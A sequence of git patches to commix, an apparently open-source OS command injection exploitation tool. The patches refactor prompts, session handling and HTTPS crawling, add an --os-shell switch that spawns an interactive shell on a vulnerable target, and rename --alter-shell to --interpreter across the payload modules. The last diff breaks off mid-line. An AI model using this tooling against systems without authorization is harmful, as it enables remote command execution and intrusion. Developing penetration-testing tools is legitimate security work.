settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + href_count_suffix + "] URL - " + http_request_method + " " + url)) message = "Do you want to use URL #" + str(url_num) + " for testing? [Y/n] " next_url = common.read_input(message, default="Y", check_batch=True) if next_url in settings.CHOICE_YES: @@ -1245,7 +1276,7 @@ def _time_limit_reached(signum, frame): break elif next_url in settings.CHOICE_NO: perform_check = False - if url_num == len(clean_output_href): + if is_last_href: raise SystemExit() else: break @@ -1284,9 +1315,9 @@ def _time_limit_reached(signum, frame): pass else: url_num += 1 - settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] Skipping URL - " + http_request_method + " " + url)) + settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + href_count_suffix + "] Skipping URL - " + http_request_method + " " + url)) - if url_num == len(clean_output_href): + if is_last_href: raise SystemExit() except KeyboardInterrupt: diff --git a/src/utils/settings.py b/src/utils/settings.py index ba50671822..da0a9020a8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -322,7 +322,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "98" +REVISION = "99" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d784cf5e1b970d2694919a5f3604a89b4aa2ed10 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 24 Aug 2026 10:25:44 +0300 Subject: [PATCH 0756/1023] Trivial update --- src/utils/session_handler.py | 13 ++++++------- src/utils/settings.py | 2 +- 2 files changed, 7 insertions(+), 8 deletions(-) diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index d079441134..0549cbc8a7 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -33,15 +33,17 @@ Open the session DB and always close it; retry after recreating a deleted directory. """ @contextlib.contextmanager -def _session_connection(): +def _session_connection(session_file=None): + if session_file is None: + session_file = settings.SESSION_FILE conn = None last_err = None for attempt in range(5): try: - session_dir = os.path.dirname(settings.SESSION_FILE) + session_dir = os.path.dirname(session_file) if session_dir and not os.path.isdir(session_dir): os.makedirs(session_dir, exist_ok=True) - conn = sqlite3.connect(settings.SESSION_FILE, timeout=10) + conn = sqlite3.connect(session_file, timeout=10) break except sqlite3.OperationalError as err: last_err = err @@ -316,8 +318,7 @@ def has_any_stored_technique(url, http_request_method): if not os.path.isfile(session_file): return False try: - conn = sqlite3.connect(session_file, timeout=5) - try: + with _session_connection(session_file) as conn: table = table_name(url) + "_ip" cursor = conn.cursor() cursor.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)) @@ -327,8 +328,6 @@ def has_any_stored_technique(url, http_request_method): query = "SELECT technique FROM \"" + table + "\" WHERE url LIKE ? ESCAPE '\\' AND http_request_method = ?;" cursor.execute(query, (like_url, http_request_method)) return any(not menu.options.tech or technique_letter(row[0]) in menu.options.tech for row in cursor.fetchall()) - finally: - conn.close() except (sqlite3.OperationalError, sqlite3.DatabaseError): return False diff --git a/src/utils/settings.py b/src/utils/settings.py index da0a9020a8..77857589db 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -322,7 +322,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "99" +REVISION = "100" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 87cc175fef22da37356c14047abc1c22665691a6 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 25 Aug 2026 06:33:13 +0300 Subject: [PATCH 0757/1023] Improved crawling reliability against HTTPS targets --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/controller.py | 14 +++++++------- src/core/main.py | 2 +- src/core/requests/headers.py | 2 +- src/utils/settings.py | 2 +- 6 files changed, 12 insertions(+), 11 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 1828da512e..35fa27ec8b 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Fixed: Improved crawling reliability against HTTPS targets. * Revised: Improved stdin parsing to stream targets for use with piped/chained input. * Fixed: Improved detection engine reliability when choosing to continue testing. * Fixed: Improved heuristic detection reliability to reduce false positives. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 347ddbda3d..220ee5ff4c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1261,7 +1261,7 @@ def check_CGI_scripts(url): _ = False for cgi_script in CGI_SCRIPTS: if cgi_script in url: - info_msg = "Heuristic (basic) tests show that target URL might be vulnerable to Shellshock " + info_msg = "Heuristic (basic) test shows that target URL might be vulnerable to Shellshock " info_msg += "(detected script: '" + cgi_script + "')." _ = True settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 24d831daad..a0f1b22efd 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -167,7 +167,7 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites return response, url """ -Heuristic (basic) tests for command injection +Heuristic (basic) test for command injection """ def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): check_parameter = check_parameter.lstrip().rstrip() @@ -198,7 +198,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, settings.TARGET_OS = settings.OS.UNIX else: settings.TARGET_OS = settings.OS.WINDOWS - info_msg = "Heuristic (basic) tests show that " + info_msg = "Heuristic (basic) test shows that " info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + possible_os + "')." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) settings.SKIP_CODE_INJECTIONS = True @@ -212,7 +212,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, raise SystemExit() """ -Heuristic (basic) tests for code injection warnings +Heuristic (basic) test for code injection warnings """ def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): check_parameter = check_parameter.lstrip().rstrip() @@ -237,7 +237,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - info_msg = "Heuristic (basic) tests show that " + info_msg = "Heuristic (basic) test shows that " info_msg += settings.CHECKING_PARAMETER + " might be injectable via " + technique + "." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) break @@ -568,12 +568,12 @@ def _ensure_time_warmup(): if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." + debug_msg = "Skipping heuristic (basic) test to the " + settings.CHECKING_PARAMETER + "." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) else: if not settings.LOAD_SESSION: checks.recognise_payload(payload=settings.TESTABLE_VALUE) - info_msg = "Performing heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." + info_msg = "Performing heuristic (basic) test to the " + settings.CHECKING_PARAMETER + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) try: @@ -597,7 +597,7 @@ def _ensure_time_warmup(): if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: settings.HEURISTIC_TEST.POSITIVE = False - warn_msg = "Heuristic (basic) tests show that " + warn_msg = "Heuristic (basic) test shows that " warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) diff --git a/src/core/main.py b/src/core/main.py index b75d1c6593..72f129bbb1 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -613,7 +613,7 @@ def main(filename, url, http_request_method): # Skip stability probing on resume unless content-reflection techniques ('c'/'e') are in scope. if not settings.LIKELY_RESUME and (not menu.options.tech or "c" in menu.options.tech or "e" in menu.options.tech): requests.is_url_content_stable(settings.INIT_CONNECTION_URL or url, response, settings.INIT_CONNECTION_FETCH_TIME, http_request_method) - info_msg = "Performing heuristic (passive) tests on the target URL." + info_msg = "Performing heuristic (passive) test on the target URL." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # Webpage encoding detection. requests.encoding_detection(response) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 6636f85d0f..84960600f9 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -128,7 +128,7 @@ def print_http_response(response_headers, code, page): def check_http_traffic(request): # Delay in seconds between each HTTP request time.sleep(int(settings.DELAY)) - if settings.SCHEME == 'https': + if request.type == 'https': http_client = _http_client.HTTPSConnection else: http_client = _http_client.HTTPConnection diff --git a/src/utils/settings.py b/src/utils/settings.py index 77857589db..5e140df6e4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -322,7 +322,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "100" +REVISION = "101" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 62f7aec224e07a957c7ca30f254cdf8e3265af2b Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 25 Aug 2026 06:34:37 +0300 Subject: [PATCH 0758/1023] Trivial update --- src/utils/menu.py | 19 ++++++++++++------- src/utils/settings.py | 2 +- 2 files changed, 13 insertions(+), 8 deletions(-) diff --git a/src/utils/menu.py b/src/utils/menu.py index 5b66f843ab..99cb9c5530 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -438,6 +438,17 @@ def banner(): default=False, help="The 'shellshock' injection module.") +# Injection options +optimization = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Optimization" + Style.RESET_ALL, + "These options can be used to optimize the performance.") + +optimization.add_option("--threads", + default=1, + action="store", + type="int", + dest="threads", + help="Max number of concurrent HTTP requests (default 1, max 10).") + # Injection options injection = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Injection" + Style.RESET_ALL, "These options can be used to specify which parameters to inject and to provide custom injection payloads.") @@ -493,13 +504,6 @@ def banner(): dest="timesec", help="Seconds to delay the OS response.") -injection.add_option("--threads", - default=1, - action="store", - type="int", - dest="threads", - help="Max number of concurrent HTTP requests (default 1, max 10).") - injection.add_option("--tmp-path", action="store", dest="tmp_path", @@ -658,6 +662,7 @@ def banner(): parser.add_option_group(enumeration) parser.add_option_group(file_access) parser.add_option_group(modules) +parser.add_option_group(optimization) parser.add_option_group(injection) parser.add_option_group(detection) parser.add_option_group(misc) diff --git a/src/utils/settings.py b/src/utils/settings.py index 5e140df6e4..e66a0c2679 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -322,7 +322,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "101" +REVISION = "102" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a7bc30cfd98bdcd5adea2f5e723de7d4556788f6 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 1 Sep 2026 07:13:44 +0300 Subject: [PATCH 0759/1023] Added an option `--os-shell` switch to directly request an interactive operating system pseudo-shell --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 27 ++++++++++---------- src/core/injections/controller/controller.py | 6 ----- src/core/injections/controller/handler.py | 12 +++++++-- src/core/modules/shellshock/shellshock.py | 14 +++++++--- src/utils/menu.py | 6 +++++ src/utils/settings.py | 4 +-- 7 files changed, 44 insertions(+), 26 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 35fa27ec8b..b134b67f96 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Revised: Added an option `--os-shell` switch to directly request an interactive operating system pseudo-shell. * Fixed: Improved crawling reliability against HTTPS targets. * Revised: Improved stdin parsing to stream targets for use with piped/chained input. * Fixed: Improved detection engine reliability when choosing to continue testing. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 220ee5ff4c..91eb5d96e5 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -313,16 +313,18 @@ def keep_testing_others(filename, url): """ Skipping of further command injection tests. """ -def skip_testing(filename, url): +def skip_testing(filename, url, announce=""): if not settings.LOAD_SESSION: command_injection_confirmed = not (settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO) if command_injection_confirmed: _ = " further testing" else: _ = " testing command injection techniques" + # The parameter is already named in 'announce' right before this - avoid saying it twice. + target = "it" if announce else "the " + settings.CHECKING_PARAMETER while True: - message = "Do you want to skip" + _ + " on the " - message += settings.CHECKING_PARAMETER + "? (recommended if certain) [Y/n] " + message = announce + "Do you want to skip" + _ + " on " + target + message += "? (recommended if certain) [Y/n] " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.SKIP_COMMAND_INJECTIONS = True @@ -330,12 +332,12 @@ def skip_testing(filename, url): if command_injection_confirmed: settings.SKIP_CODE_INJECTIONS = True settings.LOAD_SESSION = False - return + return True elif procced_option in settings.CHOICE_NO: settings.SKIP_COMMAND_INJECTIONS = False if command_injection_confirmed: settings.SKIP_CODE_INJECTIONS = False - return + return False elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: @@ -1031,10 +1033,10 @@ def assessment_phase(): """ Procced to the next attack vector. """ -def next_attack_vector(technique, go_back): +def next_attack_vector(technique, go_back, announce=""): if not settings.LOAD_SESSION: while True: - message = "Do you want to continue testing using the " + technique + "? [y/N] " + message = announce + "Do you want to continue testing using the " + technique + "? [y/N] " next_attack_vector = common.read_input(message, default="N", check_batch=True) if next_attack_vector in settings.CHOICE_YES: # Check injection state @@ -1074,22 +1076,21 @@ def remove_empty_lines(content): return content """ -Enable pseudo-terminal shell +Build the vulnerability or session-resume message for a confirmed parameter. """ -def enable_shell(url): +def vulnerable_message(url): message = "" if settings.LOAD_SESSION: message = "Resumed " message += settings.CHECKING_PARAMETER - if settings.LOAD_SESSION: + if settings.LOAD_SESSION: message += " injection point from stored session" else: message += " is likely vulnerable" - message += ". Do you want to spawn a pseudo-terminal shell? [Y/n] " + message += "." if settings.CRAWLING: settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) - gotshell = common.read_input(message, default="Y", check_batch=True) - return gotshell + return message """ Check 'os_shell' options diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index a0f1b22efd..476d6671d9 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -260,7 +260,6 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met if (len(menu.options.tech) == 0 or "c" in menu.options.tech): if cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: settings.CLASSIC_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True - checks.skip_testing(filename, url) else: settings.CLASSIC_STATE = False if settings.CLASSIC_STATE == None or settings.SKIP_COMMAND_INJECTIONS: @@ -277,8 +276,6 @@ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_metho if (len(menu.options.tech) == 0 or "e" in menu.options.tech): if eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: settings.EVAL_BASED_STATE = True - if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - checks.skip_testing(filename, url) else: settings.EVAL_BASED_STATE = False if settings.EVAL_BASED_STATE == None or not settings.SKIP_CODE_INJECTIONS: @@ -295,7 +292,6 @@ def timebased_command_injection_technique(url, timesec, filename, http_request_m if (len(menu.options.tech) == 0 or "t" in menu.options.tech): if tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False: settings.TIME_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True - checks.skip_testing(filename, url) else: settings.TIME_BASED_STATE = False if settings.TIME_BASED_STATE == None or settings.SKIP_COMMAND_INJECTIONS: @@ -319,7 +315,6 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m result = fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) if result != False: settings.FILE_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True - checks.skip_testing(filename, url) else: settings.FILE_BASED_STATE = False if settings.FILE_BASED_STATE == None or settings.SKIP_COMMAND_INJECTIONS: @@ -499,7 +494,6 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.TARGET_OS = os_target if settings.PERFORM_BASIC_SCANS: - checks.keep_testing_others(filename, url) if not settings.LOAD_SESSION: settings.LOAD_SESSION = None basic_level_checks() diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 5512170b29..18feaa09df 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -85,7 +85,9 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, while True: if go_back == True: break - gotshell = checks.enable_shell(url) + # --os-shell is a direct action flag, not a prompt default - no question asked either way. + vuln_message = checks.vulnerable_message(url) + gotshell = settings.CHOICE_YES[0] if menu.options.os_shell else settings.CHOICE_NO[0] if gotshell in settings.CHOICE_YES: settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: @@ -148,7 +150,13 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, continue elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: + # Handle the parameter-wide decision before the technique-specific one. + if checks.skip_testing(filename, url, announce=vuln_message + " "): + checks.keep_testing_others(filename, url) + proceed = False + else: + proceed = checks.next_attack_vector(technique, go_back) + if proceed: break else: if no_result: diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index a6e651dbd0..9d0869b00a 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -408,7 +408,9 @@ def shellshock_handler(url, http_request_method, filename): while True: if go_back == True: break - gotshell = checks.enable_shell(url) + # --os-shell is a direct action flag, not a prompt default - no question asked either way. + vuln_message = checks.vulnerable_message(url) + gotshell = settings.CHOICE_YES[0] if menu.options.os_shell else settings.CHOICE_NO[0] if gotshell in settings.CHOICE_YES: settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: @@ -450,11 +452,17 @@ def shellshock_handler(url, http_request_method, filename): err_msg = common.invalid_cmd_output(cmd) settings.print_data_to_stdout(settings.print_error_msg(err_msg)) elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: + # Handle the parameter-wide decision before the technique-specific one. + if checks.skip_testing(filename, url, announce=vuln_message + " "): + checks.keep_testing_others(filename, url) + proceed = False + else: + proceed = checks.next_attack_vector(technique, go_back) + if proceed: break else: if no_result == True: - return False + return False else: logs.logs_notification(filename) return True diff --git a/src/utils/menu.py b/src/utils/menu.py index 99cb9c5530..b77f7b4f25 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -528,6 +528,12 @@ def banner(): default=False, help="Execute a single operating system command.") +injection.add_option("--os-shell", + action="store_true", + dest="os_shell", + default=False, + help="Prompt for an interactive operating system pseudo-shell.") + injection.add_option("--os", action="store", dest="os", diff --git a/src/utils/settings.py b/src/utils/settings.py index e66a0c2679..ef2c5a6665 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -89,7 +89,7 @@ class HTTPMETHOD(object): DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] " DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT CHECK_SIGN = DEBUG_SIGN + "Checking for a valid pair of authentication credentials: " -OS_SHELL_TITLE = Style.BRIGHT + "Pseudo-Terminal Shell (type '?' for available options)" + Style.RESET_ALL +OS_SHELL_TITLE = Style.BRIGHT + "Operating System Pseudo-Shell (type '?' for available options)" + Style.RESET_ALL OS_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """ REVERSE_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """ BIND_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """ @@ -322,7 +322,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "102" +REVISION = "103" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 876e6723018fdf6a6aaafb7359b65d83b5de4f9e Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 2 Sep 2026 09:02:58 +0300 Subject: [PATCH 0760/1023] Renamed '--alter-shell' to '--interpreter' for clarity --- doc/CHANGELOG.md | 1 + .../techniques/time_based/tb_injector.py | 8 +- .../techniques/time_based/tb_payloads.py | 10 +- src/core/injections/controller/checks.py | 16 +- src/core/injections/controller/controller.py | 16 +- src/core/injections/controller/enumeration.py | 130 +- src/core/injections/controller/file_access.py | 46 +- src/core/injections/controller/handler.py | 92 +- src/core/injections/controller/injector.py | 57 +- .../injections/controller/shell_options.py | 30 +- .../techniques/classic/cb_injector.py | 4 +- .../techniques/classic/cb_payloads.py | 4 +- .../techniques/eval_based/eb_injector.py | 4 +- .../techniques/eval_based/eb_payloads.py | 4 +- .../techniques/file_based/fb_injector.py | 4 +- .../techniques/file_based/fb_payloads.py | 4 +- .../techniques/tempfile_based/tfb_injector.py | 8 +- .../techniques/tempfile_based/tfb_payloads.py | 8 +- src/core/main.py | 8 +- src/core/modules/shellshock/shellshock.py | 1188 ++++++++--------- src/core/tamper/backticks.py | 4 +- src/utils/menu.py | 6 +- src/utils/session_handler.py | 14 +- src/utils/settings.py | 6 +- 24 files changed, 836 insertions(+), 836 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index b134b67f96..549fc183e0 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Revised: Renamed '--alter-shell' to '--interpreter' for clarity. * Revised: Added an option `--os-shell` switch to directly request an interactive operating system pseudo-shell. * Fixed: Improved crawling reliability against HTTPS targets. * Revised: Improved stdin parsing to stream targets for use with piped/chained input. diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index e7ddbfa39e..cf3c6a1385 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -22,15 +22,15 @@ """ The main command injection exploitation. """ -def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique): +def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique): OUTPUT_TEXTFILE = "" - return injector.time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + return injector.time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) """ False Positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None, silent=False): +def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None, silent=False): OUTPUT_TEXTFILE = "" - return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt, retry_total, silent) + return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt, retry_total, silent) # eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index f938a7e8f4..e6c84a77a4 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -83,7 +83,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): """ __Warning__: The alternative shells are still experimental. """ -def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method): +def decision_alter_interpreter(separator, TAG, output_length, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" if separator in ("|", "||"): @@ -241,7 +241,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): """ __Warning__: The alternative shells are still experimental. """ -def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method): +def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: if separator in ("|", "||"): pipe = "|" @@ -363,7 +363,7 @@ def get_length(separator, cmd, candidate_length, timesec, http_request_method): """ __Warning__: The alternative shells are still experimental. """ -def get_length_alter_shell(separator, cmd, candidate_length, timesec, http_request_method): +def get_length_alter_interpreter(separator, cmd, candidate_length, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: if separator in ("|", "||"): pipe = "|" @@ -494,7 +494,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met """ __Warning__: The alternative shells are still experimental. """ -def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): +def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): # Same bisection comparison by default as get_char() - validation re-probes with an equality operator. win_operator = "GEQ" if operator == "-le" else "EQU" if settings.TARGET_OS == settings.OS.WINDOWS: @@ -616,7 +616,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me """ __Warning__: The alternative shells are still experimental. """ -def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): +def fp_result_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: if separator in ("|", "||"): pipe = "|" diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 91eb5d96e5..0ae9e52fc9 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1809,9 +1809,9 @@ def tamper_dep_time_related_only(tamper_name): if not time_related_in_scope: return "Only time-related techniques support the usage of '" + tamper_name + ".py'." -def tamper_dep_alter_shell_incompatible(tamper_name): - if menu.options.alter_shell: - return "Option '--alter-shell' does not support the usage of '" + tamper_name + ".py'. Skipping tamper script." +def tamper_dep_interpreter_incompatible(tamper_name): + if menu.options.interpreter: + return "Option '--interpreter' does not support the usage of '" + tamper_name + ".py'. Skipping tamper script." """ Undo a per-character obfuscation (obf_char inserted before each letter) on any whole word that settings.IGNORE_TAMPER_TRANSFORMATION says must survive intact (e.g. shell keywords like 'if'/'then'). @@ -2594,7 +2594,7 @@ def print_single_os_cmd_msg(self, cmd): """ Print users enumeration. """ -def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell): +def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter): # Windows users enumeration. if settings.TARGET_OS == settings.OS.WINDOWS: try: @@ -2735,7 +2735,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi """ Print users enumeration. """ -def print_passes(sys_passes, filename, _, alter_shell): +def print_passes(sys_passes, filename, _, interpreter): if sys_passes == "": sys_passes = settings.SINGLE_WHITESPACE sys_passes = sys_passes.replace(settings.SINGLE_WHITESPACE, settings.END_LINE.LF).split() @@ -3054,7 +3054,7 @@ def setting_writable_dir(path): Define python working dir (for windows targets) """ def define_py_working_dir(): - if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.alter_shell: + if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.interpreter: while True: message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER message += "' as Python working directory on the target host? [Y/n] " @@ -3316,8 +3316,8 @@ def time_related_export_injection_results(cmd, separator, output, check_exec_tim err_msg = "The '" + cmd + "' command did not return any output. This could be due to " err_msg += "'" + separator + "' filtration on the target host, or the command itself " err_msg += "being invalid." - if not menu.options.alter_shell: - err_msg += " If you're confident it's valid, try the '--alter-shell' option or another injection technique." + if not 